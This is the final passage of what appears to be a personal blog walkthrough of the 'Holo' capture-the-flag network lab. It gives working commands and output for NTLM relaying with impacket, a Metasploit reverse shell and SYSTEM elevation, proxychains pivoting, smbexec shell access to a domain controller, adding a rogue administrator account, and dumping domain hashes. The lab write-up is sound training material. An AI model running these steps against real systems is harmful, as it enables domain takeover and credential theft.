sudo /usr/bin/impacket-ntlmrelayx -t smb://10.200.114.30 -smb2support -socks
This will set up the relay, make sure to change the IP address to your subnet.
If this is running correctly you should have an NTLMrelayx command prompt.
Once the machine has rebooted, re-RDP into it and run the malicious binary for the DLL hijacking to get a reverse shell. Once the reverse shell is there, you should be your added user, you can check this by running:
getuid
Then to elevate the SYSTEM run:
getsystem
This should work via Named Pipe Impersonation. Now we are the highest level which should be helpful.
Set up a port forward with Metasploit:
portfwd add -R -L 0.0.0.0 -l 445 -p 445
Quickly after, ntlmrelay starts getting data.
ntlmrelayx> [-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5' [*] SMBD-Thread-15: Connection from HOLOLIVE/SRV-ADMIN@127.0.0.1 controlled, attacking target smb://10.200.114.30 [-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5' [*] Authenticating against smb://10.200.114.30 as HOLOLIVE/SRV-ADMIN SUCCEED [*] SOCKS: Adding HOLOLIVE/SRV-ADMIN@10.200.114.30(445) to active SOCKS connection. Enjoy
Although we got a warning about the Unsupported MechType it looks like a SOCKS connection is added, so we have access!
Task 48 – NTLM Relay – Ready your weapons
We now have a socks proxy setup with the Domain Controller, so we can use this. To do that we need to add a proxy to be able to send commands via.
To do this, we can add a line into /etc/proxychains4.conf
sudo nano /etc/proxychains4.conf
NTLMrelayx uses port 1080 for the port forward, and it’s a socks4 proxy, so we need to add:
socks4 127.0.0.1 1080
We should now be able to run commands through this. Most of our tools to check this access, such as RDP or Evil-winrm require a username/password combo, so we can’t use these.
PSExec.py again from the Impacket library however allows us to run singular commands by using the relayed NTLM hash.
proxychains /usr/bin/impacket-psexec -no-pass HOLOLIVE/SRV-ADMIN@10.200.114.30
The SRV-ADMIN user came from the results of the NTLMrelayx output, which is why we are using this. However, an error occurs.
proxychains /usr/bin/impacket-psexec HOLOLIVE/SRV-ADMIN@10.200.114.30 -no-pass 1 ⨯ [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.15 [proxychains] DLL init: proxychains-ng 4.15 [proxychains] DLL init: proxychains-ng 4.15 Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.200.114.30:445 ... OK [-] Authenticated as Guest. Aborting [*] Opening SVCManager on 10.200.114.30..... [-] Error performing the uninstallation, cleaning up
Doing some research I can across this GitHub issue which recommends trying smbexec instead.
proxychains /usr/bin/impacket-smbexec HOLOLIVE/SRV-ADMIN@10.200.114.30 -no-pass 1 ⨯ [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.15 [proxychains] DLL init: proxychains-ng 4.15 [proxychains] DLL init: proxychains-ng 4.15 Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.200.114.30:445 ... OK [!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32>
This works, and we have a semi-interactive shell.
Let’s add a user so we can RDP in.
net user Yekki Yekki1234! /add net localgroup Administrators /add Yekki net localgroup RemoteDesktopUsers /add Yekki net localgroup "Remote Desktop Users" /add Yekki
Success, we have RDP access onto the Domain Controller!
Having a look around, it looks like there is a scheduled task that runs explorer allowing the SMB connection, and a script in C:\Scripts to disable SMB signing.
We are however, more interested in the root.txt on the Administrators desktop!
Adding that, we have completed Holo.
What else can we do? Well we can dump the domain users and hashes. We can either do this on the domain controller using NTDS.
Open a command prompt and do:
ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit
Or we can use secretsdump with our new users credentials.
/usr/bin/impacket-secretsdump 'HOLOLIVE/Yekki:Yekki1234!@10.200.114.30'
Conclusion
So there we have it. Holo is completed, this took me around 2 months to complete with other commitments, so please don’t think this was a quick or easy task to do.
This was however really fun with a lot of new techniques. I don’t feel I really got to grips with Covenant, I think I’ll stick to Empire/Starkiller or Cobalt Strike and although I picked up a couple of tips for AV evasion, I wouldn’t feel confident doing this on a real environment.
Any questions, feel free to add a comment or hit me up on twitter.